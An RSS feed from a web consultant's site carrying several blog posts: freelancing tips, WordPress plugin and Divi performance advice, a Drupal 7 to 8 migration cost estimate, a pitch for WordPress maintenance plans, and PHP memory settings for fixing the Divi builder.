<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Web Archives - Shawn DeWolfe Consulting</title>
	<atom:link href="https://shawndewolfe.com/category/portfolio/web/feed" rel="self" type="application/rss+xml" />
	<link>https://shawndewolfe.com/category/portfolio/web</link>
	<description>Web Design &#124; WordPress Development &#124; WordPress Support</description>
	<lastBuildDate>Mon, 08 Jun 2020 22:08:51 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://shawndewolfe.com/wp-content/uploads/2019/05/cropped-favicon-32x32.png</url>
	<title>Web Archives - Shawn DeWolfe Consulting</title>
	<link>https://shawndewolfe.com/category/portfolio/web</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>7 Important Tips for Part Time Freelancers +  2 Bonus Tips!</title>
		<link>https://shawndewolfe.com/7-important-tips-for-part-time-freelancers-2-bonus-tips</link>
		
		<dc:creator><![CDATA[Dave Robinson]]></dc:creator>
		<pubDate>Mon, 28 May 2018 18:21:49 +0000</pubDate>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[Freelancing]]></category>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[Business]]></category>
		<category><![CDATA[Contracts]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/?p=623</guid>

					<description><![CDATA[<p>Seven handy tips for freelancers (and two bonus tips!)</p>
<p>The post <a href="https://shawndewolfe.com/7-important-tips-for-part-time-freelancers-2-bonus-tips">7 Important Tips for Part Time Freelancers +  2 Bonus Tips!</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div id="content-header">Getting into your sector as a freelancer is an alternative to the cubicle lifestyle. There’s a few things you need to consider, especially if you continue working for a regular employer either full or part time.</div>
<div id="content-area">
<div id="node-103" class="node node clearfix node-type-blog">
<div class="node-inner">
<div class="content">
<p><strong>7. Understand your limitations.</strong></p>
<p>Understand what limitations or restrictions your employer or contract places on you. Intellectual property clauses which grant your employer the rights to all of your ideas/code/work are common in tech companies and becoming more common outside the tech sector.</p>
<p>Understand what limitations your schedule places on you. Map out the time you have available for freelancing, outside your work day or childcare, or mealtimes, etc. Be honest with clients that you will not be working 8 hour days on their projects and may not be available to meet or discuss the project during the regular work day.</p>
<p><strong>6. Get your paperwork in order.</strong></p>
<p>Check with your district or municipality to determine whether you require a business license in order to operate legally and talk to an accountant or financial manager to determine when you need to apply for tax numbers (e.g. PST/GST).</p>
<p>Develop systems for managing billing and finances; there are lots of online services (free and fee) software, and even apps to help with each of these but if all else fails, a shoe box will save your backside. Even if you only work freelance for 10 hours a month, you need to claim the income and track your expenses.</p>
<p><strong>5. Be prepared to wear a lot of hats.</strong></p>
<p>When you are freelancing, and especially when you are just starting out, you’ll find that there are a lot of roles you need to fill: bookkeeper, sales and marketing team, receptionist, editor, copywriter, social media expert, and so on! You need to be able to switch between hats effortlessly or be prepared to hire others to do that work for you. Often, even if you think you can’t afford it, outsourcing is totally worth your money for the time savings alone.</p>
<p><strong>4. Nurture your clients.</strong></p>
<p>In general, part time freelancers will have fewer clients and timelines that extend a bit longer due to fewer hours per day so it is critical to develop good habits of communication. Making sure you keep clients happy can earn you recommendations, return work and new leads.</p>
<p><strong>3. Build &amp; maintain your support network.</strong></p>
<p>As you are burning the candle at both ends, a supportive family/partner/friend is important to making sure you don’t also feel alone. Supporters will help you get through disappointments and will be the first to celebrate your key milestones, too.</p>
<p>Outside this inner circle is another important support network that can be key to your success: a network of other freelancers who can work as subcontractors, or do outsourcing or even just meet with to discuss trends, common problems, and so on. Join a Meetup. Heck, if there isn&#8217;t a Meetup you, <a href="/blog-meetup_discount/">make a Meetup</a>.</p>
<p>Help others: potential clients and potential peers alike. Gratitude makes for excellent currency.</p>
<p><strong>2. Adopt some productivity habits.</strong></p>
<p>To freelance part time you need to be able to hit the ground running. When you sit down to do your work, you need to spend the time working and productivity makes that possible. In some cases, it’ll be software that helps you &#8212; something that blocks access to time-wasting web sites or allows you to better manage your email &#8212; but in many cases it’s just little habits you can adopt like blocking out your time or spending less time checking your email.</p>
<p>Do some reading and pick just one thing to start with and add another after you’ve mastered the first. Soon you’ll be able to spend more time getting stuff done and less time trying to figure out how you’re going to get it all done.</p>
<p><strong>1. Protect your health.</strong></p>
<p>Above all: avoid burnout. If you still have a job that affords you vacation time, take advantage of it; take time off and try not to use it to catch up on freelance tasks. We all need a break and most freelancers will tell you that such breaks are few and far between. One of the biggest perks of regular employment is paid vacation time: use it! Ditto paid sick time.</p>
<p>If you don’t have access to paid vacation or sick time, the most important thing you can do is make sure you get enough rest. Regular sleep is essential, just like your Mom always told you.</p>
</div>
<h3>Two Bonus Tips</h3>
<p><strong>Bonus #1 &#8211; There Are Times When You Should &#8220;Work For Exposure&#8221;</strong><br />
Join a barter system that tracks services and attaches a monetary value to the work performed. Alternate currency systems are also smaller groups of businesses and organization who are encouraged to work with each other.</p>
<p><strong>Bonus #2 &#8211; Some ideas for how to deal with clients who disappear.</strong><br />
When a client stops talking with you, that may be their silent cue to end the relationship. When there is an invoice outstanding, there are some approaches that can work.</p>
<ul>
<li>Keep issuing the statements to show the invoice isn&#8217;t going away.</li>
<li>After an invoice ages to three months, find your local debt collector, and hand them the account for collection. You will get pennies on the dollar, but a debt collector could impact their credit score and make things so uncomfortable that they settle up.</li>
<li>If you are sub-contracting and your parent contractor goes silent, consider going around them. Ask a lawyer about the follow tactics and if it&#8217;s allowed in your contract with your contracting parent: engage directly with the end client to deliver the work for them; bill the end client for the work; take the unpaid work and sell it to someone else in the vertical. If you weren&#8217;t paid, it&#8217;s still yours.</li>
</ul>
</div>
</div>
</div>
<p>The post <a href="https://shawndewolfe.com/7-important-tips-for-part-time-freelancers-2-bonus-tips">7 Important Tips for Part Time Freelancers +  2 Bonus Tips!</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>How To Duplicate A Page In WordPress</title>
		<link>https://shawndewolfe.com/blog-how-to-duplicate-a-page-in-wordpress-html</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Mon, 27 May 2019 03:03:19 +0000</pubDate>
				<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/blog-how-to-duplicate-a-page-in-wordpress/</guid>

					<description><![CDATA[<p>My goto plugin to duplicate a page is WordPress is "Duplicate Page."  The plugin saves me a lot of time. I recommended it to a lot of my friends as well as install in on all of my website projects. With this WordPress plugin, a site admin can duplicate Posts, Pages and Custom Posts easily using single click from the post listing page.</p>
<p>The post <a href="https://shawndewolfe.com/blog-how-to-duplicate-a-page-in-wordpress-html">How To Duplicate A Page In WordPress</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>My goto plugin to duplicate a page is WordPress is &#8220;Duplicate Page.&#8221;  The plugin saves me a lot of time. I recommended it to a lot of my friends as well as install in on all of my website projects. With this WordPress plugin, a site admin can duplicate Posts, Pages and Custom Posts easily using single click from the post listing page. Duplicate your pages, posts and custom post by just one click. It will save it as a draft and allow you to edit its details before hitting publish. One big caveat for Elementor users: it lacks support for Elementor Templates.</p>
<p>There is a Pro version of the plugin. Here are the other things it can do:</p>
<ul>
<li><strong>User Roles:</strong> Allow User Roles To access Duplicate Page.</li>
<li><strong>Post Types:</strong> Filter to show Duplicate Page link in post types.</li>
<li><strong>Clone Link Location:</strong> Option where to show clone link.</li>
<li><strong>Status:</strong> Option to select Duplicate Posts Status.</li>
<li><strong>Redirection:</strong> Option to Redirect after click on clone link..</li>
<li><strong>Clone Link Title:</strong> Option to change Duplicate Post Link Title.</li>
<li><strong>Post Prefix:</strong> Option to add Post Prefix.</li>
<li><strong>Post Suffix:</strong> Option to add Post Suffix.</li>
<li><strong>Editor</strong>: And Many More Filters and Features.</li>
</ul>
<h3>How to use</h3>
<ol>
<li>First Activate Plugin.</li>
<li>Go Select to Duplicate Page settings Menu from Settings Tab and savings settings.</li>
<li>Then Create New Post/Page or Use old.</li>
<li>After click on duplicate this link, then duplicate post/ page will be created and saved as draft,publish,pending,private depending upon settings.</li>
</ol>
<p><img decoding="async" style="max-width: 515px;" src="https://shawndewolfe.com/wp-content/uploads/2019/05/duplicate-this-1.png" alt="" /><img decoding="async" style="max-width: 600px;" src="https://shawndewolfe.com/wp-content/uploads/2019/05/duplicate-this-2.png" alt="" /></p>
<p>Grab the plugin &#8211; <a href="https://wordpress.org/plugins/duplicate-page/">https://wordpress.org/plugins/duplicate-page/</a>.<br />
Want more info on <a href="https://wpclipboard.com/how-to-duplicate-wordpress-page-or-post/">how to duplicate posts, pages and content in WordPress</a>?</p>
<p>The post <a href="https://shawndewolfe.com/blog-how-to-duplicate-a-page-in-wordpress-html">How To Duplicate A Page In WordPress</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Divi Slow To Load</title>
		<link>https://shawndewolfe.com/blog-divi-slow-to-load.html</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Tue, 28 May 2019 17:12:52 +0000</pubDate>
				<category><![CDATA[Development]]></category>
		<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/?p=584</guid>

					<description><![CDATA[<p>Divi slow to load? Fewer files to request and smaller files are key. Each plugin and theme is likely to introduce several CSS and JS files apiece. Plugins like AutoOptimize can consolidate the CSS into fewer files and it can do the same with JavaScript. Almost every web server is capable of serving out files compressed with GZip. Almost every web browser is capable of decoding GZipped files.</p>
<p>The post <a href="https://shawndewolfe.com/blog-divi-slow-to-load.html">Divi Slow To Load</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><strong>Divi slow to load</strong>?</p>
<p><strong>1. Fewer files to request and smaller files are key.<br />
</strong>Each plugin and theme is likely to introduce several CSS and JS files apiece. Plugins like AutoOptimize can consolidate the CSS into fewer files and it can do the same with JavaScript. Almost every web server is capable of serving out files compressed with GZip. Almost every web browser is capable of decoding GZipped files.</p>
<p><strong>2. Move most of your Javascript to the footer</strong>.<br />
The header is the best (except when it isn&#8217;t). When Javascript code goes into the header, that code executes first. It will block the display of content until the Javascript fully executes. This is called &#8220;render blocking.&#8221; From an end-user perspective this is horrible. They will be left with a white screen for much long than is ideal. Some code can always go into the footer: analytics code, helper code, code relevant to the lower sections of the page (eg. a dynamic footer).</p>
<p><strong>3. Flush your content.</strong><br />
First, work with a child Divi theme custom to your site. Hang time is a killer when you&#8217;re waiting for a web page. PHP can wait for a good length of time before delivery. It is possible to urge it to begin earlier than otherwise, sending content back to your audience faster. I do this by putting the <code>flush()</code> call at the top of the header.php file in the PHP code.</p>
<p>If you&#8217;re about to output the themed data, you&#8217;re ready to deliver content. Push it out as soon as you can, even starting the process before the page.tpl.php is populated and served. One thing to note: flushing content may not be a tactic that plays well with GZip.</p>
<p><strong>4. Make content cacheable.</strong><br />
WordPress put query strings onto the tail end of some URLs and change that string with each load to provide a fresh load of that image, script or styling. From an end user perspective, that takes a lot of time to re-fetch.<br />
Use a plugin like Far Future Headers to change the Expiry date (it&#8217;s a meta data setting in the served assets) to push it days or even months into the future. That lets a web browser shoulder some of the load and keep copies of those elements on the user&#8217;s computer instead of downloading them new with each page load.</p>
<p><strong>Additional Tips:</strong></p>
<ul>
<li><strong>Deactivate and delete unused plugins.</strong> If the site can thrive without a given plugin, take it out.</li>
<li><strong>Put a CDN (Content Delivery Network)</strong> between your server and your audience.</li>
<li><strong>Run PHP 7.3 or higher.</strong> PHP has improved. Use that new improved version of PHP.</li>
<li><strong>Choose a speedy, stable web host.</strong> My favourite is <a href="http://www.a2hosting.com/?aid=5c924d15e38ef">A2 Hosting.</a></li>
</ul>
<p><a href="/performance">More performance tips</a></p>
<p>&nbsp;</p>
<p>The post <a href="https://shawndewolfe.com/blog-divi-slow-to-load.html">Divi Slow To Load</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Anatomy of a Drupal 7 to 8 Multisite Upgrade</title>
		<link>https://shawndewolfe.com/case-study-migrating-drupal-drupal-8-multisite</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Mon, 27 May 2019 03:03:16 +0000</pubDate>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[Upgrade]]></category>
		<category><![CDATA[Drupal]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/case-study-migrating-drupal-drupal-8-multisite/</guid>

					<description><![CDATA[<p>I was contacted recently to assess the work involved in an upgrade of a corporate site with 14 verticals in a Drupal 7 multisite installation. In 2018, I embarked on the migration of eight verticals from a context driven Drupal 7 website to 8 separate WordPress installs. In short: I know what it takes get a website migrated away from Drupal 7.</p>
<p>The post <a href="https://shawndewolfe.com/case-study-migrating-drupal-drupal-8-multisite">Anatomy of a Drupal 7 to 8 Multisite Upgrade</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>I was contacted recently to assess the work involved in an upgrade of a corporate site with 14 verticals in a Drupal 7 multisite installation. In 2018, I embarked on the migration of eight verticals from a context driven Drupal 7 website to 8 separate WordPress installs. In short: I know what it takes get a website migrated away from Drupal 7.</p>
<h3>Goal</h3>
<p>The goal of the project: move from one codebase delivering 14 standalone websites running Drupal 7, to 14 standalone sites using a common code base and running Drupal 8. All of the data, all of the credentials and all of the configs would be preserved or improved upon.</p>
<h3>The Review</h3>
<p>I did a review of the codebase and a partial review of the databases.</p>
<p>A rundown of what I discovered that impact migration speed and success: there were 14 verticals in a multi-site set-up each with their own URL. The automated upgrade process would need to be executed on all 14 of those sites.</p>
<h4>Modules</h4>
<p>There were 79 contributed modules in the core; most of them have an upgrade path from Drupal 7 to 8. Also, some of the modules in the codebase were not active. For the sake of consistency, all of the present modules needed to get upgraded. There were two additional modules in the Careers site. There were three modules referenced in the corporate Installation profile. There was a module build by an agency, but the other two were commented out from being activated.</p>
<p>The list of modules (in sites/all/modules) held 26 modules of varying complexity. Some were almost one liner modules; some were very elaborate. In a quick review of the code, I saw a number of places where the code in one custom module referred to another custom module with no contingency check to see if the other module was active before being referenced. The code would all have to be rewritten for Drupal 8 and those module cross-checks would have to go into the mix. These do involve the cross-site API calls, so they are key to the overall functionality of the sites and communication between the sites.</p>
<p>Some elements that are common in a Drupal install:</p>
<ul>
<li>Views &#8211; the views found across the 14 sites would have to be re-built for Drupal 8</li>
<li>Panels &#8211; migration automation handles some of this, but the Panels presence assumed some rebuilds.</li>
<li>There was no Context module active. That simplified the process.</li>
<li>Vocabularies and terms are well used. The migration would handle that but their use would have to be assessed for their role in the custom modules (some of those custom modules lean heavily on taxonomy to build navigation and workflows).</li>
<li>There were seven libraries in use. That’s not a massive amount and they were well supported elements.</li>
</ul>
<h4>Themes</h4>
<p>All of the satellite sites used the corporate affiliate site, which was a child of the corporate main theme. It doesn’t appear to be build from an existing theme, so the migration to Drupal 8 would require a theme rebuild in Drupal 8. The theme does lean on the custom modules for the display of context and some of the navigation.</p>
<h3>Our Estimate</h3>
<p>Web asset preparation, project management and meetings create some overhead. On a project of this scope, that would amount to 14 development / meeting days.</p>
<p>The automated update will take about three hours per subsite. That extrapolates to 5 development days (@ 7 hrs. of billable time per day). My experience has been that the we can get lucky and have a very fast automated update, but it’s often the case that something interrupts the update that has to be mitigated and then the update can resume.</p>
<p>Converting the 30 custom modules will range from very simple to very complicated (varies from module to module). I will look for ways to expedite the update of the custom code as I originally would have forecast a median of a day per module (one would take 30 minutes; some will take three days). I estimate that to take about 30 development days.</p>
<p>Redoing the base theme; the main theme and the affiliate themes will take approximately: 12 development days for the base; 3 day for the main theme; and 1 day for the affiliate theme that is used throughout the sites. As we are not revisiting the design (the styling), I was going to remap all of the existing layout and CSS to the Drupal 8 modules. The mobile experience of the legacy code is usually something that need review and repair when jumping from Drupal 7, but the standing code looks solid in responsive views.</p>
<p>Views and panels will take about 1 to 3 hours per. Across the sites, that medians out to about 30 development days.</p>
<p>QA will be a significant element as the sites are locked up in their current state and the new incarnations have to work as well as the old were intended to work. I want to put an hour of QA per site to assess and mend what is found: that extrapolates into 4 development days. Ideally, this element of discovered issues and their repair would need more time.</p>
<p>Combining the above figures comes to 99 development days. What does a conversion like that look like when it comes to budget? The estimate is $56,000. While that is a hefty price tag, it means the per vertical conversion costs something less than $4,000 per vertical.</p>
<p>&nbsp;</p>
<p>The post <a href="https://shawndewolfe.com/case-study-migrating-drupal-drupal-8-multisite">Anatomy of a Drupal 7 to 8 Multisite Upgrade</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Adding A Safety Net To The Web</title>
		<link>https://shawndewolfe.com/blog-wordpress-support-plans</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Mon, 27 May 2019 03:03:17 +0000</pubDate>
				<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/blog-wordpress-support-plans/</guid>

					<description><![CDATA[<p><img src="https://shawndewolfe.com/sites/default/files/styles/thumbnail/public/wolf-circle-flt.png?itok=YlSZBDN1" align="right" style="border: none; float: right;"/>Over the last two months, we developed a solution to keep WordPress sites well supported. We have an approach that promises an array of services. These services will keep client sites updated, secured and maintained.</p>
<p>The post <a href="https://shawndewolfe.com/blog-wordpress-support-plans">Adding A Safety Net To The Web</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>I have worked with web clients for coming up on 23 years now. The web is constantly changing: applications are getting smarter; more interconnected; more powerful. In 1997, I started building custom content management systems in a language called Perl. Then a new thing called PHP came along. I adapted to that. It soon became my programming language of choice.</p>
<p>In the 2000s, content management systems moved being $500,000 products used by large publishers. They became open source. They dropped to free. Communities of developers grew up around new products. At the same time, this adoption drove development. Their sophistication exploded. An offshoot, B2 emerged and in 2003 it became the primordial version of WordPress. Fast forward 16 years. WordPress runs over 35% of the Internet.</p>
<p>WordPress is a content management system that began as a blogging platform. It now serves a variety of uses from publishing through e-commerce and into other specialty roles. I have kept up with WordPress: developing plugins, rolling out websites and evangelizing its merits. I have helped people get away from the increasingly unapproachable Drupal option. I&#8217;m familiar with a number of technologies including Drupal, but I have been focusing on building up skills and capacity in WordPress.</p>
<p>I’ve backed a horse, and that horse is WordPress.</p>
<p>As my client list grows, answering calls for aid as they come in is good, but not good enough. It&#8217;s reactive. Over the last two months, my partner and I have come up with a solution. We have an approach that promises an array of services. These services will keep client sites updated, secured and maintained.</p>
<p>The current partial list of services we’re going to offer in our <a href="/services-wp-maintenance-coyote-support-plan.html">middle tier plan</a>:</p>
<h4>Weekly core, theme and plugin checks &amp; updates</h4>
<p>We manage key updates to your WordPress install, keeping your site bug-free, functional and safe from security exploits.</p>
<h4>Visual Validator plugin updates</h4>
<p>Visual Validator takes screenshots of up to 20 pages of your site before updates are applied. Visual Validator then takes new screenshots and compares them to see if anything looks different. If changes are detected, we are alerted and will resolve the issue.</p>
<h4>Off-site backups for 90 days</h4>
<p>Access to 90 days of backup history. If you need to restore a previous version of your site, just let us know! We can recover your website with just a few clicks, so if something happens, we’ll get your site back up before anyone even notices.</p>
<h4>Free SSL implementation</h4>
<p>SSL is important for protecting your website, even if it doesn&#8217;t collect sensitive information like credit cards. SSL provides privacy, critical security and data integrity, both for your website and for your users&#8217; personal information.</p>
<h4>Unmetered mitigation of DDoS attacks</h4>
<p>Without protection, DDoS ( distributed denial-of-service) attacks can overwhelm the available bandwidth of your website, knocking it offline. When an website faces an especially large attack, nearly every DDoS mitigation service will charge extra to block it. Unmetered mitigation gives you unlimited DDoS attack protection &#8211; regardless of the size of attack.</p>
<h4>Inclusion in an industry-leading CDN</h4>
<p>A Content Delivery Network, or CDN, is a network of servers linked together with the goal of delivering content as quickly, cheaply, reliably, and securely as possible. A CDN enhances your website (and your users’ experience) by improving website load times, reducing bandwidth costs, and improving website security.</p>
<h4>Uptime monitoring</h4>
<p>Once a minute, our uptime monitor pings your website and instantly notifies us of service interruptions. It also notifies us of any SSL errors which can compromise your website security.</p>
<h4>Domain name renewal date tracking</h4>
<p>We’ll keep tabs on the renewal date for your domain to make sure you know when it’s coming up.</p>
<h4>All-in-one support dashboard</h4>
<p>This user-friendly, custom dashboard plugin gives you the details of everything being done behind the scenes to keep your site performing at its best. Check out how your site performs with Visual Validator, see a running record of your backups, or view a full history of each daily security scan and its results.</p>
<h4>Security monitoring &amp; malware cleanup</h4>
<p>Deep automated scans detect malware, anti-viruses and malicious code that may be on your site &#8211; and if it finds something, we’ll make sure it’s removed immediately. In addition, a powerful firewall and WordPress “hardening” tactics keep would-be hackers and bots out.</p>
<p>We have a plan for how to maintain clients and keep all of these services in play. We were approached to make a budget account plan to keep things safe. <a href="/services-wp-maintenance-fox-starter-plan.html">We have that.</a> I also have clients who need some special TLC &#8211; more than the middle plan provides. <a href="/services-wp-maintenance-wolf-plan-elite.html">We offer that as well.</a></p>
<p>In pricing the plans, we struggled to find a balance of services and economy. Web developers charge $60 to $200 per hour. Extrapolate that out to the concept of daily monitoring and mending, and you get to a point where the price is prohibitive or the service offerings are too little. All too often, I hear the woes of web site owners who jumped for the $50/year hosting only to find that the service provider offered something too cheap and too unsustainable.</p>
<p>We did the math of how much work could go into a maintenance plan. We found a suite of automation tools. We found a way to staff the support systems to allow for frequent monitoring. More than that: we found a way to allow for little tweaks.</p>
<p>Why are these named after three canines? We needed catchy names. “Middle Plan” is really boring. You don’tdeserve boring. I’m Shawn DeWolfe. My name has a canine in it. So: our support plans are named after three canines from my native British Columbia. The plans go up in size and power:</p>
<div class="wraphelp">
<img loading="lazy" decoding="async" class="alignright wp-image-203 size-thumbnail" src="https://shawndewolfe.com/wp-content/uploads/2019/05/fox-circle-flta-150x150.png" alt="" width="150" height="150" srcset="https://shawndewolfe.com/wp-content/uploads/2019/05/fox-circle-flta-150x150.png 150w, https://shawndewolfe.com/wp-content/uploads/2019/05/fox-circle-flta.png 192w" sizes="(max-width: 150px) 100vw, 150px" /></p>
<p>The <a style="font-weight: bold;" href="/services/plans/fox">Fox Plan</a> covers off the basics. It keeps plugins up to date. It&#8217;s the small plan with a small price tag.
</div>
<div class="wraphelp">
<img loading="lazy" decoding="async" class="alignright wp-image-176 size-thumbnail" src="https://shawndewolfe.com/wp-content/uploads/2019/05/coyote-circle-flt-150x150.png" alt="" width="150" height="150" srcset="https://shawndewolfe.com/wp-content/uploads/2019/05/coyote-circle-flt-150x150.png 150w, https://shawndewolfe.com/wp-content/uploads/2019/05/coyote-circle-flt.png 190w" sizes="(max-width: 150px) 100vw, 150px" />The <a style="font-weight: bold;" href="/services/plans/coyote">Coyote Plan</a> is the mainstay product: it’s in the Goldilocks zone of pricing and service delivery. We think this will satisfy most small businesses who need web support to keep surprises at bay.
</div>
<div class="wraphelp">
<img loading="lazy" decoding="async" class="alignright wp-image-1543 size-thumbnail" src="https://shawndewolfe.com/wp-content/uploads/2019/05/wolf-circle-flt-150x150.png" alt="" width="150" height="150" srcset="https://shawndewolfe.com/wp-content/uploads/2019/05/wolf-circle-flt-150x150.png 150w, https://shawndewolfe.com/wp-content/uploads/2019/05/wolf-circle-flt.png 192w" sizes="(max-width: 150px) 100vw, 150px" /></p>
<p>The <a style="font-weight: bold;" href="/services/plans/wolf">Wolf Plan</a> is the biggest of the bunch. It encompasses everything the Coyote Plan offers, but it allows for more frequent monitoring, and unlimited small fixes. It give clients access to premium WordPress plugins to add to their site. These plugins range from $60 to $150 per product. On top of all that, it includes three hours of web development per month. Three hours can cover a lot of ground.
</div>
<p>By organizing these plans and formalizing the service offerings, we can better serve our clients. Beyond that,we can stay in more frequent touch with our clients. I like the people I work with. I want them and their web ventures to succeed. By inking in how maintenance and management occurs, we feel we can keep them well supported.</p>
<h3>What&#8217;s Next?</h3>
<h4>Drupal</h4>
<p>We are going to begin work on a support plan system for Drupal. I already maintain several Drupal sites, some for very high profile clients. The plan is to develop a suite of services to keep their sites remain well maintained. I want to see my clients well supported in a systemized fashion. The last thing I want to see is a client with a screen full of red notices and dire warnings.</p>
<p><img decoding="async" style="max-width; 100%; height: auto;" src="https://shawndewolfe.com/wp-content/uploads/2019/05/wordpress_mainstack.jpg" /></p>
<p>We are working with two partner companies to develop new product support systems: one in content marketing and one search engine optimization.</p>
<h4>Content Marketing</h4>
<p>Through a partnership, we connect you with industry leaders in content marketing. Their community managers specialize in building your social media network into a fan base. They help to craft marketing plans that are engaging, compelling, and relevant. You choose a package that suits your needs. Get results reports with metrics and details. Work from your marketing wins to tackle more important strategic issues.</p>
<h4>Search Engine Optimization And Search Engine Ranking</h4>
<p>In order to meet the SEO needs of small businesses, the best minds created packages with price ranges tailored to suit businesses of different sizes. Services are broken down into affordable monthly plans. Small business owners access high quality SEO, like their competitors, at a lower monthly price point. Rather than create a “cheap-o” SEO package, our partner company found a way to create a high value at a lower cost: it&#8217;s win-win. They make sure your website is optimized and ready for search engine indexing. Two key factors will position your site for success: a properly structured website with relevant content for the topic of your expertise; and quality inbound links from relevant websites related to your business focus.</p>
<style>.bls {<br />    background: none;<br />    border: none !important;<br />    max-width: 120px !important;<br />    height: auto;<br />    border-radius: 60px !important;<br />}<br /></style>
<p>&nbsp;</p>
<p>The post <a href="https://shawndewolfe.com/blog-wordpress-support-plans">Adding A Safety Net To The Web</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Divi Loader Not Finishing Its Load</title>
		<link>https://shawndewolfe.com/blog-divi-editor-not-loading</link>
		
		<dc:creator><![CDATA[Shawn DeWolfe]]></dc:creator>
		<pubDate>Mon, 27 May 2019 03:03:18 +0000</pubDate>
				<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">https://shawndewolfe.com/blog-divi-editor-not-loading/</guid>

					<description><![CDATA[<p>I am late to the game of loving the Divi page builder. It's really great-- or, it was until today.</p>
<p>Why did it jump the bridge and fail to load? Memory. As the site gets more elaborate, the Divi Builder got more encumbered; the code has conflicts and/or your environment doesn't have the breathing room it needs.</p>
<p>The post <a href="https://shawndewolfe.com/blog-divi-editor-not-loading">Divi Loader Not Finishing Its Load</a> appeared first on <a href="https://shawndewolfe.com">Shawn DeWolfe Consulting</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>I am late to the game of loving the Divi page builder. It works really great &#8211; or, it did until today.</p>
<p>Why did it jump the bridge and fail to load? Memory. As the site gets more elaborate, the Divi Builder gets more encumbered; the code has conflicts and/or your environment doesn&#8217;t have the breathing room it needs.</p>
<p><img decoding="async" src="https://shawndewolfe.com/wp-content/uploads/2019/05/divi-loading-problem.png" alt="Divi editor will not finish loading" /></p>
<h2>Untangling the Divi Loader Problem through PHP and Apache Changes</h2>
<h3>PHP Version</h3>
<p>My web host seems to love PHP 5.6 a little too much. They had the hosting account set to PHP 5.6, which long ago expired as the default PHP engine. In its place: PHP 7.x. Even the older versions of PHP 7 are being relegated to history. PHP 7.3 (as of this writing) is the minimum level your WordPress site should be running with.</p>
<p>PHP 7 is much better with memory management. The downside: PHP 7 expired a long list of functions and sloppy code elements. That means older sites relying on even older code can&#8217;t run on today&#8217;s servers.</p>
<p><img decoding="async" src="https://shawndewolfe.com/wp-content/uploads/2019/05/wp-config-editor.jpg" alt="Edit .htaccess and wp-config.php via the CPanel file editor" /></p>
<p>Divi has some code requirements. These are what they should look like in the .htaccess file (in the root of your website).</p>
<p><code></code></p>
<pre>   php_flag display_errors Off
   php_value max_execution_time 90
   php_value max_input_time -1
   php_value max_input_vars 3600
   php_value memory_limit 256M
   php_value post_max_size 64M
   php_value session.gc_maxlifetime 2880
   php_value session.save_path "/opt/alt/php73/var/lib/php/session"
   php_value upload_max_filesize 72M
   php_flag zlib.output_compression On

</pre>
<p>If your CPanel install allows for it, you can edit the php settings (the php.ini file) for your website. Otherwise, you will need to edit your .htaccess file.</p>
<p><img decoding="async" src="https://shawndewolfe.com/wp-content/uploads/2019/05/php-ini-editor.png" /></p>
<h3>Available Memory</h3>
<p>By default, web hosts allow 32 to 64 megabytes of PHP processing. That needs to be cranked up to at least 256MB of room. Editing the PHP configuration and the WordPress configuration will address that.</p>
<p>The wp-config.php file controls most of the configurations for your WordPress install. Adding a memory limit rule into the code will give your WordPress install more room to work with. In the figure below, CPanel and the file manage editor can be used to open the config file to make additions.</p>
<p><img decoding="async" src="https://shawndewolfe.com/wp-content/uploads/2019/05/divi-loading-problem3.png" alt="Editing the wp-config.php file" /></p>
<p>One gotcha is that many how-tos (which you might turn to for instructions) will play fast and loose with the quotation marks. In coding, a single &#8216; is the only way to open and close quoted strings that use the single quote. Text editors overthink it and use open quotes and close quotes. Be careful: that will crash your WordPress install.</p>
